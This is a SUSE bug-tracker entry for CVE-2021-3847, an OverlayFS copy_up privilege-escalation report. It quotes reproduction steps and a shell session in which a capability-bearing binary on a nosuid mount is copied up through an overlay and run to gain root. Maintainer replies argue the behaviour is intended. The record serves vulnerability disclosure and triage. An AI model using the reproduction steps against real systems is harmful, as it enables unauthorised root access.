Bug 1191694 (CVE-2021-3847)

Summary: VUL-0: CVE-2021-3847: kernel-source-azure,kernel-source,kernel-source-rt: OverlayFS - Potential Privilege Escalation using overlays copy_up
Product: [Novell Products] SUSE Security Incidents Reporter: Gianluca Gabrielli <gianluca.gabrielli>
Component: IncidentsAssignee: Security Team bot <security-team>
Status: NEW --- QA Contact: Security Team bot <security-team>
Severity: Major    
Priority: P3 - Medium CC: bpetkov, ddiss, meissner, mkoutny, smash_bz
Version: unspecified   
Target Milestone: ---   
Hardware: Other   
OS: Other   
URL: https://smash.suse.de/issue/312626/
Whiteboard: CVSSv3.1:SUSE:CVE-2021-3847:6.4:(AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
Found By: Security Response Team Services Priority:
Business Priority: Blocker: ---
Marketing QA Status: --- IT Deployment: ---
Bug Depends on: 1191647    
Bug Blocks:    

Description Gianluca Gabrielli 2021-10-15 10:30:26 UTC
From the OSSS ML
----------------

After disclosing the issue with the linux-distros mailing list, I am reporting the security issue publicly to here.
There is no patch available and may not be available for a long time because the kernel can’t enforce the mitigation proposed, as that would be a layering violation and could also possibly cause a regression.
This vulnerability was attached with CVE-2021-3847.
Here is the report that was initially sent:

## Bug Class
Escalation of privileges - Bypassing the security extended attribute attachment restrictions (in order to modify the security.capability xattr, a process will need CAP_SYS_ADMIN or CAP_SETFCAP).
# Technical Details
## Summary:
An attacker with a low-privileged user on a Linux machine with an overlay mount which has a file capability in one of its layers may escalate his privileges up to root when copying a capable file from a nosuid mount into another mount.
## In details:
If there is an overlay mount that one of its lower layers contains a file with capabilities and in case that the lower layer is a nosuid mount (which means the file capabilities are being ignored at execution), an attacker with low-privileges user can touch the file, which causes the overlayFS driver to copy_up the file with its capabilities into the upper layer. That way the attacker can now execute the file with the file's capabilities, thus escalating its privileges.
See attached image.
## Build:
Any Linux machine with a support for overlayFS.
For example: AWS EC2 Ubuntu 20.04.
Mount a device to any folder.
Copy any file with capabilities into that folder.
Remount the device now with nosuid option.
mount an overlayFS mount where there are two layers. Make sure the lower directory is the directory with the capable file.
## Execution:
As a low-priv user cd into the merged directory.
Execute touch capable_file
cd to the upper layer directory.
Execute the capable binary.
## Expected Results:
When copying a capable file using a low privileges user, the file should be copied without any file capabilities. As the Linux kernel restricts the copying of a file with capabilities, so low-pric user should not be able to achieve this goal.
## Observed Results:
The new file that appears in the upper layer directory have the same capabilities as the file that had been copied. This behavior occur probably because the overlay driver's process is the one responsible for the copying, and it copies the whole file with its extended attributes.


########## Example ##########
# there are two mount in question
$ cd /home/user/overlayfs/

$ ls -l
drwxr-xr-x 3 user user   4096 Sep 19 14:07 lowerUSB
drwxrwxr-x 1 user user   4096 Sep 19 14:06 merge
drwxrwxr-x 2 user user   4096 Sep 14 13:32 test
drwxrwxr-x 2 user user   4096 Sep 19 14:06 upper
drwxrwxr-x 3 user user   4096 Sep 19 14:25 work

# there are two mount in question.
# lowerUSB is a mount of an USB, which has a capable file inside.
# IMPORTENT NOTE: This mount has "nosuid" option, so capabilities should be ignored while executing it.
# The second mount is the overlay mount. Its lower directory is `lowerUSB/` which is the first mount mentioned above. Its upper is just a regular directory on the root fs.
$ mount
/dev/sdd on /home/user/overlayfs/lowerUSB type ext4 (rw,nosuid,nodev,relatime,uhelper=udisks2)
overlay on /home/user/overlayfs/merge type overlay (rw,relatime,lowerdir=lowerUSB,upperdir=upper,workdir=work)

# The contents of all the directories.
$ ls -l *
lowerUSB:
total 40
-rwxr-xr-x 1 user user 17104 Sep 13 15:58 escalate
drwx------ 2 user user 16384 Jul  5 14:07 lost+found

merge:
total 40
-rwxr-xr-x 1 user user 17104 Sep 19 14:27 escalate
drwx------ 2 user user 16384 Jul  5 14:07 lost+found

test:
total 0

upper:
total 0

work:
total 4
d--------- 2 root root 4096 Sep 19 14:25 work

# escalate is an executable that set its uid and gid to 0.
$ getcap ./lowerUSB/escalate
./lowerUSB/escalate = cap_setgid,cap_setuid+eip

$ id
uid=1000(user) gid=1000(user) groups=1000(user)

# When trying to execute ./lowerUSB/escalate, it does not work because it is a `nosuid` mount.
$ ./lowerUSB/escalate
[-] Failure

# Try to copy the binary with its capabilities.
# It should not work, because regular users are not allowed to copy the "security.capability" xattr.
$ cp --preserve=all ./lowerUSB/escalate ./test/escalate
cp: setting attribute 'security.capability' for 'security.capability': Operation not permitted

# Trigger the copy_up
$ touch ./merge/escalate
$ ls -l ./upper/
-rwxr-xr-x 1 user user 17K Sep 19 15:01 escalate

# The copy_up kept the binary capabilities (xattr)
$ getcap ./upper/escalate
./upper/escalate = cap_setgid,cap_setuid+eip

# executing the binary, with the capabilities, so the privileges will escalate to root.
$ ./upper/escalate
$ id
uid=0(root) gid=0(root) groups=0(root)
Comment 1 Gianluca Gabrielli 2021-10-15 10:32:55 UTC
Because the overlayfs has been in the Linux kernel since 3.18, I'm tracking as affected the following branches:
 - cve/linux-4.4
 - cve/linux-4.4
 - SLE12-SP5
 - SLE15-SP2
 - SLE15-SP3
 - SLE15-SP4
Comment 4 David Disseldorp 2021-10-19 15:41:58 UTC
From: Miklos Szeredi <miklos@szeredi.hu>
Subject: Re: [oss-security] CVE-2021-3847: OverlayFS - Potential Privilege  Escalation using overlays copy_up
Date: Tue, 19 Oct 2021 17:23:27 +0200

On Thu, Oct 14, 2021 at 06:30:53PM +0000, Alon Zahavi wrote:
> 
> After disclosing the issue with the linux-distros mailing list, I am reporting the security issue publicly to here.
> There is no patch available and may not be available for a long time because the kernel can’t enforce the mitigation proposed, as that would be a layering violation and could also possibly cause a regression.
> This vulnerability was attached with CVE-2021-3847.
> Here is the report that was initially sent:
> 
> ## Bug Class
> Escalation of privileges - Bypassing the security extended attribute attachment restrictions (in order to modify the security.capability xattr, a process will need CAP_SYS_ADMIN or CAP_SETFCAP).
> # Technical Details
> ## Summary:
> An attacker with a low-privileged user on a Linux machine with an overlay mount which has a file capability in one of its layers may escalate his privileges up to root when copying a capable file from a nosuid mount into another mount.
> ## In details:
> If there is an overlay mount that one of its lower layers contains a file with capabilities and in case that the lower layer is a nosuid mount (which means the file capabilities are being ignored at execution), an attacker with low-privileges user can touch the file, which causes the overlayFS driver to copy_up the file with its capabilities into the upper layer. That way the attacker can now execute the file with the file's capabilities, thus escalating its privileges.  

I think this is a misunderstanding about how overlayfs operates.  Mounting
overlayfs is effectively a just-in-time version of "cp -a lowerdir upperdir".
In other words if the admin creates an overlay where the lower layer is
untrusted and the upper layer is trusted, then that act itself is the
privilege escalation.

This is more formally documented in "Documentation/filesystems/overlayfs.rst"
in the "Permission model" section.

If this model is not clear, then maybe it needs to be spelled out more
explicitly.  Perhaps even a warning message could be added to the kernel logs
in case the lower mount is "nosuid".  But IMO erroring out on the copy-up or
skipping copy up of certain attributes would make the cure worse than the
disease.

Let me know if I'm missing something.

Thanks,
Miklos
Comment 6 David Disseldorp 2022-04-27 13:34:58 UTC
I think this ticket can be closed. Reassigning to the security team...

As a follow up to the discussion in comment#4 , Miklos also pointed out:

> Should we fail (and log it) when the lower mount and upper mount have different
> suid settings, and require a force option to be used?  

"cp -a" doesn't fail if used to copy from a nosuid mount to a suid
mount, right?  Should it?

I understand the psychology behind this: people think copy-up is done
by the current (unprivileged) user, because it's triggered by the
current user.   But copy up isn't done by the current user, it's done
by the mounting user (i.e .with the privileges of the mounting task).

The reason for this is that in many cases copy up *can not* be
performed by the current task.  Just think of the case where e.g. root
owned parent directory needs to be copied up before the user writable
file is copied up.

This means that it's the responsibility of the mounting user to ensure
that copy-up does not compromise security, since the current
(unprivileged) user will be able to *trigger* operations done with the
privileges of the mounting user, such as the scenario described in
this CVE.

Thanks,
Miklos